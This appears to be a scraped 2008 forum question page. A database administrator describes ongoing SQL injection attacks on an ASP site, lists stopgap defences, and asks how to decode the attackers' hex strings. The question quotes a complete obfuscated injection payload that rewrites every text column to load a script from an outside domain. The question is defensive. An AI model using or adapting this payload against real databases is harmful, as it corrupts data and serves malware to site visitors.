November 19, 2008 02:54am pst

1. richrumble 84,740
2. DaveHowe 65,839
3. PowerIT 55,512
4. KCTS 54,521
5. IndiGenus 39,807
6. ahoffmann 37,230
7. rpggamer... 36,747
8. Tolomir 33,944
9. CSecurity 31,309
10. CoccoBill 30,265
11. jahboite 29,284
12. r-k 24,770
13. aleghart 20,910
14. johnb6767 18,296
15. batry_boy 17,600
16. war1 17,143
17. briancassin 16,725
18. arnold 16,000
18. Paranorm... 16,000
20. RobWill 15,000
21. xuserx2... 14,934
22. Spec01 14,385
23. toniur 13,967
24. younghv 12,797
25. dpk_wal 12,325

1. richrumble 662,929
2. Sheharya... 371,467
3. PowerIT 326,747
4. Tolomir 315,350
5. rpggamer... 312,191
6. war1 291,462
7. r-k 266,691
8. ahoffmann 250,237
9. tim_holman 175,246
10. lrmoore 143,435
11. sunray_... 121,147
12. decoleur 110,576
13. CoccoBill 108,227
14. rsivanandan 94,711
15. chicagoan 93,255
16. PeteLong 91,398
17. SunBow 91,148
18. DaveHowe 89,492
19. KCTS 85,137
20. jakopriit 75,443
21. younghv 74,319
22. kbbcnet 73,468
23. sirbounty 71,839
24. rossfingal 70,214
25. chris_cal... 69,879

05.22.2008 at 06:05AM PDT, ID: 23424200

	[x] Attachment Details

[x]

The Solution Rating System

With so many solutions, how can you tell which solutions are most likely to help you and which ones are not? To provide you with a tool to use, we rate our solutions based on various elements that most accurately determine if a solution is a quality solution. To explain what factors affect the solution rating, here are the elements we take into consideration when formulating our solution rating.

The Grade of the Solution
The Zone Rank of the Expert Providing the Solution
The Number of Author and Expert Comments
The Number of Experts Contributing
The Feedback of the Community

Your Input Matters
Because of the way the system is set up, the most important variable in this equation is you. As a member of Experts Exchange, you are able to cast your vote on the quality of the solutions in regard to how complete, accurate, helpful and easy to understand each solution is. When you provide your feedback, each rating is adjusted accordingly. So, if you see a solution that has a poor rating that you think is a good solution, let us know by rating it. As you do, the rating will be adjusted and will become more accurate for other members of our site.

If you have any suggestions that you would like to make for our rating system, please ask a question in the Suggestions Zone of Community Support.

Thank you!

8.4

SQL Injection #2

Asked by paemond in Miscellaneous Security, MS SQL Server

Hi,

We're still being attacked via SQL Injection. I leave the database that's been targeted most of the time, in single user mode, during off hours. At least that way I don't wake up to find all my tables corrupted or worse, gone altogether.

We're bringing in a security expert to take a look at our sites. We know that the .asp pages have to be fixed and have a pretty good idea of how, but we're a very small shop and until then I'm going to have to deal with this on the database side. I'm doing backups of the database that's been hit the most, every 30 minutes,and I've added some auditing columns and triggers on all the tables so I can see when it happens.

#1) Is there anything else I can do on the database side to protect myself?

#2) Is there anything around that I can use to translate the hexcodes that are being used? For example:

DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E006900680061006F003100310032002E0063006F006D002F006D002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200

ThanksStart Free Trial

Keywords: SQL Injection #2

	Title
1	banner82 sql injection
2	Email/SQL Injection prevention
3	SQL Injection,
4	SQL injection
5	AUDITING
6	sql injection

Loading Advertisement...

20081112-EE-VQP-42 / EE_QW_2_20070628

SQL Injection #2

Asked by paemond in Miscellaneous Security, MS SQL Server

About this solution